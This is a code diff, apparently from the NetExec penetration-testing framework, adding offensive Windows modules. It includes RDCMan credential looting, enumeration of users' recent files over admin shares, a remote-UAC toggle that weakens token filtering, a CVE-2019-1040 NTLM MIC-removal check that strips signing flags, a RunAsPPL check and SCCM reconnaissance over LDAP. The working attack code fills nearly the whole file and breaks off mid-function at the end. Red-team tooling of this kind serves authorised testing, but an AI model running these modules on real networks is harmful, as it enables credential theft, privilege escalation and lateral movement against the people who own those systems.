log_text = "{} - {}:{}".format(rdg_cred.server_name, rdg_cred.username, rdg_cred.password.decode("latin-1")) if rdg_cred.type == "server" else "{}:{}".format(rdg_cred.username, rdg_cred.password.decode("latin-1"))
|
||||
log_text = f"{rdg_cred.username}:{rdg_cred.password.decode('latin-1')}"
|
||||
if isinstance(rdg_cred, RDGServerProfile):
|
||||
log_text = f"{rdg_cred.server_name} - {log_text}"
|
||||
context.log.highlight(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}")
|
||||
|
||||
for rdgfile in rdgfiles:
|
||||
if rdgfile is None:
|
||||
continue
|
||||
for rdg_cred in rdgfile.rdg_creds:
|
||||
log_text = "{}:{}".format(rdg_cred.username, rdg_cred.password.decode("latin-1"))
|
||||
if rdg_cred.type == "server":
|
||||
log_text = f"{rdg_cred.username}:{rdg_cred.password.decode('latin-1')}"
|
||||
if isinstance(rdg_cred, RDGServerProfile):
|
||||
log_text = f"{rdg_cred.server_name} - {log_text}"
|
||||
context.log.highlight(f"[{rdgfile.winuser}][{rdg_cred.profile_name}] {log_text}")
|
||||
context.log.highlight(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}")
|
||||
except Exception as e:
|
||||
context.log.debug(f"Could not loot RDCMan secrets: {e}")
|
||||
@@ -0,0 +1,39 @@
|
||||
import pylnk3
|
||||
from io import BytesIO
|
||||
|
||||
|
||||
class NXCModule:
|
||||
# Get a list of recently modified files via LNK's stored in AppData\Roaming\Microsoft\Windows\Recent
|
||||
# Module by @Defte_
|
||||
|
||||
name = "recent_files"
|
||||
description = "Extracts recently modified files"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
false_positive = [".", "..", "desktop.ini", "Public", "Default", "Default User", "All Users", ".NET v4.5", ".NET v4.5 Classic"]
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""No options"""
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
lnks = []
|
||||
for directory in connection.conn.listPath("C$", "Users\\*"):
|
||||
if directory.get_longname() not in self.false_positive and directory.is_directory():
|
||||
context.log.highlight(f"C:\\{directory.get_longname()}")
|
||||
recent_files_dir = f"Users\\{directory.get_longname()}\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\"
|
||||
for file in connection.conn.listPath("C$", f"{recent_files_dir}\\*"):
|
||||
file_path = f"{recent_files_dir}{file.get_longname()}"
|
||||
if file.get_longname() not in self.false_positive and not file.is_directory():
|
||||
file_path = f"{recent_files_dir}{file.get_longname()}"
|
||||
try:
|
||||
buf = BytesIO()
|
||||
connection.conn.getFile("C$", file_path, buf.write)
|
||||
buf.seek(0)
|
||||
lnk = pylnk3.parse(buf).path.strip()
|
||||
if lnk and lnk not in lnks:
|
||||
context.log.highlight(f"\t{lnk}")
|
||||
lnks.append(lnk)
|
||||
except Exception as e:
|
||||
# Sometimes PyLnk3 can't parse the lnk file...
|
||||
context.log.debug(f"Couldn't open {file_path} because of {e}")
|
||||
@@ -0,0 +1,65 @@
|
||||
from impacket.dcerpc.v5 import rrp
|
||||
from impacket.examples.secretsdump import RemoteOperations
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""Module by @Defte_"""
|
||||
name = "remote-uac"
|
||||
description = "Enable or disable remote UAC"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
self.action = None
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
Enables UAC (prevent non RID500 account to get high priv token remotely)
|
||||
Disables UAC (allow non RID500 account to get high priv token remotely)
|
||||
|
||||
ACTION: "enable" or "disable" (required)
|
||||
"""
|
||||
if "ACTION" not in module_options:
|
||||
context.log.fail("ACTION option not specified!")
|
||||
return
|
||||
|
||||
if module_options["ACTION"].lower() not in ["enable", "disable"]:
|
||||
context.log.fail("ACTION must be either enable, disable or query")
|
||||
return
|
||||
self.action = module_options["ACTION"].lower()
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
try:
|
||||
remoteOps = RemoteOperations(connection.conn, False)
|
||||
remoteOps.enableRegistry()
|
||||
if remoteOps._RemoteOperations__rrp:
|
||||
ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
|
||||
regHandle = ans["phKey"]
|
||||
|
||||
keyHandle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System")["phkResult"]
|
||||
|
||||
# Checks if the key already exists or not
|
||||
try:
|
||||
rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "LocalAccountTokenFilterPolicy\x00")
|
||||
except Exception as e:
|
||||
if "ERROR_FILE_NOT_FOUND" in str(e):
|
||||
context.log.debug("Registry key 'LocalAccountTokenFilterPolicy' does not exist, creating it")
|
||||
ans = rrp.hBaseRegCreateKey(remoteOps._RemoteOperations__rrp, keyHandle, "LocalAccountTokenFilterPolicy\x00")
|
||||
|
||||
# Disable remote UAC
|
||||
if self.action == "disable":
|
||||
rrp.hBaseRegSetValue(remoteOps._RemoteOperations__rrp, keyHandle, "LocalAccountTokenFilterPolicy\x00", rrp.REG_DWORD, 1)
|
||||
context.log.highlight("Remote UAC disabled")
|
||||
|
||||
# Enable remote UAC
|
||||
if self.action == "enable":
|
||||
rrp.hBaseRegSetValue(remoteOps._RemoteOperations__rrp, keyHandle, "LocalAccountTokenFilterPolicy\x00", rrp.REG_DWORD, 0)
|
||||
context.log.highlight("Remote UAC enabled")
|
||||
|
||||
except Exception as e:
|
||||
context.log.debug(f"Error {e}")
|
||||
finally:
|
||||
remoteOps.finish()
|
||||
@@ -0,0 +1,192 @@
|
||||
# Original Author:
|
||||
# Dirk-jan Mollema (@_dirkjan)
|
||||
# dlive (@D1iv3)
|
||||
#
|
||||
# Refernece:
|
||||
# - https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/
|
||||
# - https://github.com/fox-it/cve-2019-1040-scanner
|
||||
# - https://github.com/Dliv3/cve-2019-1040-scanner
|
||||
#
|
||||
# Modify by:
|
||||
# XiaoliChan (@Memory_before)
|
||||
|
||||
import calendar
|
||||
import struct
|
||||
import time
|
||||
import random
|
||||
import string
|
||||
|
||||
from impacket import ntlm
|
||||
from impacket import nt_errors
|
||||
from impacket.smbconnection import SessionError
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "remove-mic"
|
||||
description = "Check if host vulnerable to CVE-2019-1040"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = False
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
self.action = None
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""PORT Port to check (defaults to 445)"""
|
||||
self.port = 445
|
||||
if "PORT" in module_options:
|
||||
self.port = int(module_options["PORT"])
|
||||
|
||||
def on_login(self, context, connection):
|
||||
ntlm.computeResponseNTLMv2 = Modify_Func.mod_computeResponseNTLMv2
|
||||
ntlm.getNTLMSSPType3 = Modify_Func.mod_getNTLMSSPType3
|
||||
try:
|
||||
connection.conn.reconnect()
|
||||
except SessionError as e:
|
||||
if e.getErrorCode() == nt_errors.STATUS_INVALID_PARAMETER:
|
||||
context.log.info("Target is not vulnerable to CVE-2019-1040 (authentication was rejected)")
|
||||
else:
|
||||
context.log.info("Unexpected Exception while authentication")
|
||||
else:
|
||||
context.log.highlight("Potentially vulnerable to CVE-2019-1040, next step: https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/")
|
||||
|
||||
class Modify_Func:
|
||||
# Slightly modified version of impackets computeResponseNTLMv2
|
||||
def mod_computeResponseNTLMv2(flags, serverChallenge, clientChallenge, serverName, domain, user, password, lmhash="", nthash="",
|
||||
use_ntlmv2=ntlm.USE_NTLMv2, channel_binding_value=b""):
|
||||
|
||||
responseServerVersion = b"\x01"
|
||||
hiResponseServerVersion = b"\x01"
|
||||
responseKeyNT = ntlm.NTOWFv2(user, password, domain, nthash)
|
||||
|
||||
av_pairs = ntlm.AV_PAIRS(serverName)
|
||||
# In order to support SPN target name validation, we have to add this to the serverName av_pairs. Otherwise we will
|
||||
# get access denied
|
||||
# This is set at Local Security Policy -> Local Policies -> Security Options -> Server SPN target name validation
|
||||
# level
|
||||
av_pairs[ntlm.NTLMSSP_AV_TARGET_NAME] = "cifs/".encode("utf-16le") + av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1]
|
||||
if av_pairs[ntlm.NTLMSSP_AV_TIME] is not None:
|
||||
aTime = av_pairs[ntlm.NTLMSSP_AV_TIME][1]
|
||||
else:
|
||||
aTime = struct.pack("<q", (116444736000000000 + calendar.timegm(time.gmtime()) * 10000000))
|
||||
av_pairs[ntlm.NTLMSSP_AV_TIME] = aTime
|
||||
av_pairs[ntlm.NTLMSSP_AV_FLAGS] = b"\x02" + b"\x00" * 3
|
||||
serverName = av_pairs.getData()
|
||||
|
||||
if len(channel_binding_value) > 0:
|
||||
av_pairs[ntlm.NTLMSSP_AV_CHANNEL_BINDINGS] = channel_binding_value
|
||||
|
||||
# Format according to:
|
||||
# https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/aee311d6-21a7-4470-92a5-c4ecb022a87b
|
||||
temp = responseServerVersion # RespType 1 byte
|
||||
temp += hiResponseServerVersion # HiRespType 1 byte
|
||||
temp += b"\x00" * 2 # Reserved1 2 bytes
|
||||
temp += b"\x00" * 4 # Reserved2 4 bytes
|
||||
temp += aTime # TimeStamp 8 bytes
|
||||
temp += clientChallenge # ChallengeFromClient 8 bytes
|
||||
temp += b"\x00" * 4 # Reserved 4 bytes
|
||||
temp += av_pairs.getData() # AvPairs variable
|
||||
|
||||
ntProofStr = ntlm.hmac_md5(responseKeyNT, serverChallenge + temp)
|
||||
|
||||
ntChallengeResponse = ntProofStr + temp
|
||||
lmChallengeResponse = ntlm.hmac_md5(responseKeyNT, serverChallenge + clientChallenge) + clientChallenge
|
||||
sessionBaseKey = ntlm.hmac_md5(responseKeyNT, ntProofStr)
|
||||
|
||||
if user == "" and password == "":
|
||||
# Special case for anonymous authentication
|
||||
ntChallengeResponse = ""
|
||||
lmChallengeResponse = ""
|
||||
|
||||
return ntChallengeResponse, lmChallengeResponse, sessionBaseKey
|
||||
|
||||
def mod_getNTLMSSPType3(type1, type2, user, password, domain, lmhash="", nthash="", use_ntlmv2=ntlm.USE_NTLMv2, channel_binding_value=b""):
|
||||
# Safety check in case somebody sent password = None.. That's not allowed. Setting it to '' and hope for the best.
|
||||
if password is None:
|
||||
password = ""
|
||||
|
||||
# Let's do some encoding checks before moving on. Kind of dirty, but found effective when dealing with
|
||||
# international characters.
|
||||
import sys
|
||||
encoding = sys.getfilesystemencoding()
|
||||
if encoding is not None:
|
||||
try:
|
||||
user.encode("utf-16le")
|
||||
except Exception:
|
||||
user = user.decode(encoding)
|
||||
try:
|
||||
password.encode("utf-16le")
|
||||
except Exception:
|
||||
password = password.decode(encoding)
|
||||
try:
|
||||
domain.encode("utf-16le")
|
||||
except Exception:
|
||||
domain = user.decode(encoding)
|
||||
|
||||
ntlmChallenge = ntlm.NTLMAuthChallenge(type2)
|
||||
|
||||
# Let's start with the original flags sent in the type1 message
|
||||
responseFlags = type1["flags"]
|
||||
|
||||
# Token received and parsed. Depending on the authentication
|
||||
# method we will create a valid ChallengeResponse
|
||||
ntlmChallengeResponse = ntlm.NTLMAuthChallengeResponse(user, password, ntlmChallenge["challenge"])
|
||||
|
||||
clientChallenge = ntlm.b("".join([random.choice(string.digits + string.ascii_letters) for _ in range(8)]))
|
||||
|
||||
serverName = ntlmChallenge["TargetInfoFields"]
|
||||
|
||||
ntResponse, lmResponse, sessionBaseKey = ntlm.computeResponse(ntlmChallenge["flags"], ntlmChallenge["challenge"],
|
||||
clientChallenge, serverName, domain, user, password,
|
||||
lmhash, nthash, use_ntlmv2, channel_binding_value=channel_binding_value)
|
||||
|
||||
# Let's check the return flags
|
||||
if (ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY) == 0:
|
||||
# No extended session security, taking it out
|
||||
responseFlags &= 0xffffffff ^ ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY
|
||||
if (ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_128) == 0:
|
||||
# No support for 128 key len, taking it out
|
||||
responseFlags &= 0xffffffff ^ ntlm.NTLMSSP_NEGOTIATE_128
|
||||
if (ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH) == 0:
|
||||
# No key exchange supported, taking it out
|
||||
responseFlags &= 0xffffffff ^ ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH
|
||||
|
||||
# drop the mic need to unset these flags
|
||||
# https://github.com/fortra/impacket/blob/master/impacket/examples/ntlmrelayx/clients/ldaprelayclient.py#L72
|
||||
if ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_SEAL == ntlm.NTLMSSP_NEGOTIATE_SEAL:
|
||||
responseFlags ^= ntlm.NTLMSSP_NEGOTIATE_SEAL
|
||||
if ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_SIGN == ntlm.NTLMSSP_NEGOTIATE_SIGN:
|
||||
responseFlags ^= ntlm.NTLMSSP_NEGOTIATE_SIGN
|
||||
if ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_ALWAYS_SIGN == ntlm.NTLMSSP_NEGOTIATE_ALWAYS_SIGN:
|
||||
responseFlags ^= ntlm.NTLMSSP_NEGOTIATE_ALWAYS_SIGN
|
||||
|
||||
|
||||
keyExchangeKey = ntlm.KXKEY(ntlmChallenge["flags"], sessionBaseKey, lmResponse, ntlmChallenge["challenge"], password,
|
||||
lmhash, nthash, use_ntlmv2)
|
||||
|
||||
# Special case for anonymous login
|
||||
if user == "" and password == "" and lmhash == "" and nthash == "":
|
||||
keyExchangeKey = b"\x00" * 16
|
||||
|
||||
|
||||
if ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH:
|
||||
exportedSessionKey = ntlm.b("".join([random.choice(string.digits + string.ascii_letters) for _ in range(16)]))
|
||||
encryptedRandomSessionKey = ntlm.generateEncryptedSessionKey(keyExchangeKey, exportedSessionKey)
|
||||
else:
|
||||
encryptedRandomSessionKey = None
|
||||
exportedSessionKey = keyExchangeKey
|
||||
|
||||
ntlmChallengeResponse["flags"] = responseFlags
|
||||
ntlmChallengeResponse["domain_name"] = domain.encode("utf-16le")
|
||||
ntlmChallengeResponse["host_name"] = type1.getWorkstation().encode("utf-16le")
|
||||
if lmResponse == "":
|
||||
ntlmChallengeResponse["lanman"] = b"\x00"
|
||||
else:
|
||||
ntlmChallengeResponse["lanman"] = lmResponse
|
||||
ntlmChallengeResponse["ntlm"] = ntResponse
|
||||
if encryptedRandomSessionKey is not None:
|
||||
ntlmChallengeResponse["session_key"] = encryptedRandomSessionKey
|
||||
|
||||
return ntlmChallengeResponse, exportedSessionKey
|
||||
+37
-7
@@ -1,5 +1,10 @@
|
||||
from impacket.dcerpc.v5 import rrp
|
||||
from impacket.examples.secretsdump import RemoteOperations
|
||||
from impacket.dcerpc.v5.rrp import DCERPCSessionError
|
||||
|
||||
|
||||
class NXCModule:
|
||||
# Reworked by @Defte_ 13/10/2024 to remove unecessary execute operation
|
||||
name = "runasppl"
|
||||
description = "Check if the registry value RunAsPPL is set or not"
|
||||
supported_protocols = ["smb"]
|
||||
@@ -14,10 +19,35 @@ class NXCModule:
|
||||
""""""
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
command = r"reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\ /v RunAsPPL"
|
||||
context.log.debug(f"Executing command: {command}")
|
||||
p = connection.execute(command, True)
|
||||
if "The system was unable to find the specified registry key or value" in p:
|
||||
context.log.debug("Unable to find RunAsPPL Registry Key")
|
||||
else:
|
||||
context.log.highlight(p)
|
||||
try:
|
||||
remote_ops = RemoteOperations(connection.conn, False)
|
||||
remote_ops.enableRegistry()
|
||||
|
||||
if remote_ops._RemoteOperations__rrp:
|
||||
ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
|
||||
reg_handle = ans["phKey"]
|
||||
ans = rrp.hBaseRegOpenKey(
|
||||
remote_ops._RemoteOperations__rrp,
|
||||
reg_handle,
|
||||
"SYSTEM\\CurrentControlSet\\Control\\Lsa"
|
||||
)
|
||||
key_handle = ans["phkResult"]
|
||||
_ = data = None
|
||||
try:
|
||||
_, data = rrp.hBaseRegQueryValue(
|
||||
remote_ops._RemoteOperations__rrp,
|
||||
key_handle,
|
||||
"RunAsPPL\x00",
|
||||
)
|
||||
except rrp.DCERPCSessionError as e:
|
||||
context.log.debug(f"RunAsPPL error {e} on host {connection.host}")
|
||||
|
||||
if data is None or data not in [1, 2]:
|
||||
context.log.highlight("RunAsPPL disabled")
|
||||
else:
|
||||
context.log.highlight("RunAsPPL enabled")
|
||||
|
||||
except DCERPCSessionError as e:
|
||||
context.log.debug(f"Error connecting to RemoteRegistry {e} on host {connection.host}")
|
||||
finally:
|
||||
remote_ops.finish()
|
||||
@@ -0,0 +1,288 @@
|
||||
from impacket.ldap import ldap, ldaptypes, ldapasn1 as ldapasn1_impacket
|
||||
from impacket.ldap.ldap import LDAPSearchError
|
||||
from ldap3.protocol.microsoft import security_descriptor_control
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
|
||||
SAM_USER_OBJECT = 0x30000000
|
||||
SAM_MACHINE_ACCOUNT = 0x30000001
|
||||
SAM_GROUP_OBJECT = 0x10000000
|
||||
LDAP_MATCHING_RULE_IN_CHAIN = "1.2.840.113556.1.4.1941"
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Implementation of the SCCM RECON-1 technique to find SCCM related objects in Active Directory.
|
||||
See:
|
||||
https://github.com/subat0mik/Misconfiguration-Manager/blob/main/attack-techniques/RECON/RECON-1/recon-1_description.md
|
||||
https://github.com/garrettfoster13/sccmhunter
|
||||
|
||||
Module by @NeffIsBack
|
||||
"""
|
||||
|
||||
name = "sccm"
|
||||
description = "Find a SCCM infrastructure in the Active Directory"
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self):
|
||||
self.sccm_site_servers = [] # List of dns host names of the SCCM site servers
|
||||
self.sccm_sites = {} # List of SCCM sites with their management points (Sorted by site code)
|
||||
self.base_dn = ""
|
||||
self.recursive_resolve = False
|
||||
|
||||
self.user_objects = []
|
||||
self.computer_objects = []
|
||||
self.group_objects = {}
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
BASE_DN The base domain name for the LDAP query
|
||||
REC_RESOLVE Resolve members of groups recursively. Default: False
|
||||
"""
|
||||
if module_options and "BASE_DN" in module_options:
|
||||
self.base_dn = module_options["BASE_DN"]
|
||||
if module_options and "REC_RESOLVE" in module_options:
|
||||
self.recursive_resolve = bool(module_options["REC_RESOLVE"])
|
||||
|
||||
def on_login(self, context, connection):
|
||||
"""On a successful LDAP login we perform a search for all PKI Enrollment Server or Certificate Templates Names."""
|
||||
self.context = context
|
||||
self.connection = connection
|
||||
self.base_dn = connection.ldap_connection._baseDN if not self.base_dn else self.base_dn
|
||||
self.sc = ldap.SimplePagedResultsControl()
|
||||
|
||||
# Basic SCCM enumeration
|
||||
try:
|
||||
# Search for SCCM root object
|
||||
search_filter = f"(distinguishedName=CN=System Management,CN=System,{self.base_dn})"
|
||||
controls = security_descriptor_control(sdflags=0x04)
|
||||
context.log.display(f"Looking for the SCCM container with filter: '{search_filter}'")
|
||||
result = connection.ldap_connection.search(
|
||||
searchFilter=search_filter,
|
||||
attributes=["nTSecurityDescriptor"],
|
||||
sizeLimit=0,
|
||||
searchControls=controls,
|
||||
searchBase=self.base_dn,
|
||||
)
|
||||
|
||||
# There should be only one result
|
||||
for item in result:
|
||||
if isinstance(item, ldapasn1_impacket.SearchResultEntry):
|
||||
self.context.log.success(f"Found SCCM object: {item[0]}")
|
||||
self.get_site_servers(item)
|
||||
self.get_sites()
|
||||
self.get_management_points()
|
||||
|
||||
# Print results
|
||||
self.context.log.success(f"Found {len(self.sccm_site_servers)} Site Servers:")
|
||||
for site in self.sccm_site_servers:
|
||||
ip = self.connection.resolver(site)
|
||||
self.context.log.highlight(f"{site} - {ip['host'] if ip else 'unknown'}")
|
||||
self.context.log.success(f"Found {len(self.sccm_sites)} SCCM Sites:")
|
||||
for site in self.sccm_sites:
|
||||
self.context.log.highlight(f"{self.sccm_sites[site]['cn']}")
|
||||
self.context.log.highlight(f" Site Code: {site.rjust(14)}")
|
||||
self.context.log.highlight(f" Assignment Site Code: {self.sccm_sites[site]['AssignmentSiteCode'].rjust(3)}")
|
||||
|
||||
# If there aren't Management Points, it's a Central Administration Site
|
||||
if self.sccm_sites[site]["ManagementPoints"]:
|
||||
self.context.log.highlight(f" CAS: {' ':<17}{False}")
|
||||
self.context.log.highlight(" Management Points:")
|
||||
for mp in self.sccm_sites[site]["ManagementPoints"]:
|
||||
self.context.log.highlight(f" CN:{' ':<12}{mp['cn']}")
|
||||
self.context.log.highlight(f" DNS Hostname:{' ':<2}{mp['dNSHostName']}")
|
||||
self.context.log.highlight(f" IP Address:{' ':<4}{mp['IPAddress']}")
|
||||
self.context.log.highlight(f" Default MP:{' ':<4}{mp['mSSMSDefaultMP']}")
|
||||
else:
|
||||
self.context.log.highlight(f" CAS: {' ':<17}{True}")
|
||||
self.context.log.highlight("")
|
||||
except LDAPSearchError as e:
|
||||
context.log.fail(f"Got unexpected exception: {e}")
|
||||
|
||||
# SCCM named objects enumeration
|
||||
self.get_sccm_named_objects(context, connection)
|
||||
if self.user_objects:
|
||||
context.log.success(f"Found {len(self.user_objects)} SCCM related user objects:")
|
||||
for user in self.user_objects:
|
||||
context.log.highlight(user)
|
||||
if self.computer_objects:
|
||||
context.log.success(f"Found {len(self.computer_objects)} SCCM related computer objects:")
|
||||
for computer in self.computer_objects:
|
||||
context.log.highlight(computer)
|
||||
if self.group_objects:
|
||||
context.log.success(f"Found {len(self.group_objects)} SCCM related group objects:")
|
||||
for group in self.group_objects:
|
||||
context.log.highlight(self.group_objects[group]["sAMAccountName"])
|
||||
for child in self.group_objects[group]["children"]:
|
||||
if int(child["sAMAccountType"]) == SAM_USER_OBJECT:
|
||||
context.log.highlight(f" {child['sAMAccountName']} -> User")
|
||||
elif int(child["sAMAccountType"]) == SAM_MACHINE_ACCOUNT:
|
||||
context.log.highlight(f" {child['sAMAccountName']} -> Computer")
|
||||
elif int(child["sAMAccountType"]) == SAM_GROUP_OBJECT:
|
||||
context.log.highlight(f" {child['sAMAccountName']} -> Group")
|
||||
|
||||
def get_sccm_named_objects(self, context, connection):
|
||||
"""Enumerate users/groups/computers with "SCCM" in their name"""
|
||||
# hippity hoppity your code is now my property, filter stolen from the awesome sccmhunter repository
|
||||
# https://github.com/garrettfoster13/sccmhunter
|
||||
try:
|
||||
yoinkers = "(|(samaccountname=*sccm*)(samaccountname=*mecm*)(description=*sccm*)(description=*mecm*)(name=*sccm*)(name=*mecm*))"
|
||||
context.log.display("Searching for SCCM related objects")
|
||||
result = connection.ldap_connection.search(
|
||||
searchFilter=yoinkers,
|
||||
searchBase=self.base_dn,
|
||||
attributes=["sAMAccountName", "distinguishedName", "sAMAccountType"],
|
||||
)
|
||||
|
||||
result = parse_result_attributes(result)
|
||||
for res in result:
|
||||
if "sAMAccountType" in res and int(res["sAMAccountType"]) == SAM_USER_OBJECT:
|
||||
self.user_objects.append(res["sAMAccountName"])
|
||||
elif "sAMAccountType" in res and int(res["sAMAccountType"]) == SAM_MACHINE_ACCOUNT:
|
||||
self.computer_objects.append(res["sAMAccountName"])
|
||||
elif "sAMAccountType" in res and int(res["sAMAccountType"]) == SAM_GROUP_OBJECT:
|
||||
self.group_objects[res["distinguishedName"]] = {
|
||||
"sAMAccountName": res["sAMAccountName"],
|
||||
"children": [],
|
||||
}
|
||||
if self.recursive_resolve:
|
||||
self.resolve_recursive(res["distinguishedName"])
|
||||
|
||||
except LDAPSearchError as e:
|
||||
context.log.fail(f"Got unexpected exception: {e}")
|
||||
|
||||
def resolve_recursive(self, dn):
|
||||
"""Recursively resolve members of a group."""
|
||||
try:
|
||||
self.context.log.debug(f"Resolving group members recursively for {dn}")
|
||||
# Somehow BaseDN is not working together with the LDAP_MATCHING_RULE_IN_CHAIN
|
||||
result = self.connection.ldap_connection.search(
|
||||
searchFilter=f"(memberOf:{LDAP_MATCHING_RULE_IN_CHAIN}:={dn})",
|
||||
attributes=["sAMAccountName", "distinguishedName", "sAMAccountType"],
|
||||
)
|
||||
|
||||
result = parse_result_attributes(result)
|
||||
for res in result:
|
||||
self.group_objects[dn]["children"].append({
|
||||
"sAMAccountName": res["sAMAccountName"],
|
||||
"distinguishedName": res["distinguishedName"],
|
||||
"sAMAccountType": res["sAMAccountType"],
|
||||
})
|
||||
|
||||
except LDAPSearchError as e:
|
||||
self.context.log.error(f"Error resolving group members: {e}")
|
||||
|
||||
def get_management_points(self):
|
||||
"""Searches for all SCCM management points in the Active Directory and maps them to their SCCM site via the site code."""
|
||||
try:
|
||||
response = self.connection.ldap_connection.search(
|
||||
searchBase=self.base_dn,
|
||||
searchFilter="(objectClass=mSSMSManagementPoint)",
|
||||
attributes=["cn", "dNSHostName", "mSSMSDefaultMP", "mSSMSSiteCode"],
|
||||
)
|
||||
|
||||
response_parsed = parse_result_attributes(response)
|
||||
|
||||
for mp in response_parsed:
|
||||
ip = self.connection.resolver(mp["dNSHostName"])
|
||||
self.sccm_sites[mp["mSSMSSiteCode"]]["ManagementPoints"].append({
|
||||
"cn": mp["cn"],
|
||||
"dNSHostName": mp["dNSHostName"],
|
||||
"IPAddress": ip["host"] if ip else "-",
|
||||
"mSSMSDefaultMP": mp["mSSMSDefaultMP"],
|
||||
})
|
||||
|
||||
except LDAPSearchError as e:
|
||||
self.context.log.error(f"Error searching for management points: {e}")
|
||||
|
||||
def get_sites(self):
|
||||
"""Searches for all SCCM sites in the Active Directory, sorted by site code."""
|
||||
try:
|
||||
response = self.connection.ldap_connection.search(
|
||||
searchBase=self.base_dn,
|
||||
searchFilter="(objectClass=mSSMSSite)",
|
||||
attributes=["cn", "mSSMSSiteCode", "mSSMSAssignmentSiteCode"],
|
||||
)
|
||||
|
||||
response_parsed = parse_result_attributes(response)
|
||||
|
||||
for site in response_parsed:
|
||||
self.sccm_sites[site["mSSMSSiteCode"]] = {
|
||||
"cn": site["cn"],
|
||||
"AssignmentSiteCode": site["mSSMSAssignmentSiteCode"],
|
||||
"ManagementPoints": []
|
||||
}
|
||||
|
||||
except LDAPSearchError as e:
|
||||
self.context.log.error(f"Error searching for sites: {e}")
|
||||
|
||||
def get_site_servers(self, item):
|
||||
"""Extracts the site servers from the root SCCM object."""
|
||||
raw_sec_descriptor = str(item[1][0][1][0]).encode("latin-1")
|
||||
principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=raw_sec_descriptor)
|
||||
self.parse_dacl(principal_security_descriptor["Dacl"])
|
||||
self.sccm_site_servers = set(self.sccm_site_servers) # Make list unique
|
||||
|
||||
def parse_dacl(self, dacl):
|
||||
"""Parses a DACL and extracts the dns host names with full control over the SCCM object."""
|
||||
self.context.log.debug("Parsing DACL")
|
||||
for ace in dacl["Data"]:
|
||||
self.parse_ace(ace)
|
||||
|
||||
def parse_ace(self, ace):
|
||||
"""Parses an ACE and resolves the SID if the SID of the ACE has full control."""
|
||||
if ace["TypeName"] in ["ACCESS_ALLOWED_ACE", "ACCESS_ALLOWED_OBJECT_ACE"]:
|
||||
ace = ace["Ace"]
|
||||
sid = ace["Sid"].formatCanonical()
|
||||
mask = ace["Mask"]
|
||||
fullcontrol = 0xf01ff
|
||||
if mask.hasPriv(fullcontrol):
|
||||
self.resolve_SID(sid)
|
||||
|
||||
def resolve_SID(self, sid):
|
||||
"""Tries to resolve a SID and add the dNSHostName to the sccm site list."""
|
||||
try:
|
||||
self.context.log.debug(f"Resolving SID: {sid}")
|
||||
result = self.connection.ldap_connection.search(
|
||||
searchBase=self.base_dn,
|
||||
searchFilter=f"(objectSid={sid})",
|
||||
attributes=["sAMAccountName", "sAMAccountType", "member", "dNSHostName"],
|
||||
)
|
||||
|
||||
parsed_result = parse_result_attributes(result)
|
||||
|
||||
if not parsed_result:
|
||||
return None
|
||||
else:
|
||||
parsed_result = parsed_result[0] # We only have one result as we always query a single SID
|
||||
|
||||
if int(parsed_result["sAMAccountType"]) == SAM_MACHINE_ACCOUNT:
|
||||
self.context.log.debug(f"Found object with full control over SCCM object. SID: {sid}, dns_hostname: {parsed_result['dNSHostName']}")
|
||||
self.sccm_site_servers.append(parsed_result["dNSHostName"])
|
||||
elif int(parsed_result["sAMAccountType"]) == SAM_GROUP_OBJECT:
|
||||
if isinstance(parsed_result["member"], list):
|
||||
for member in parsed_result["member"]:
|
||||
member_sid = self.dn_to_sid(member)
|
||||
if member_sid:
|
||||
self.resolve_SID(member_sid)
|
||||
else: # Group has only one member
|
||||
member_sid = self.dn_to_sid(parsed_result["member"])
|
||||
if member_sid:
|
||||
self.resolve_SID(member_sid)
|
||||
|
||||
except Exception as e:
|
||||
self.context.log.debug(f"SID not found in LDAP: {sid}, {e}")
|
||||
return ""
|
||||
|
||||
def dn_to_sid(self, dn) -> str:
|
||||
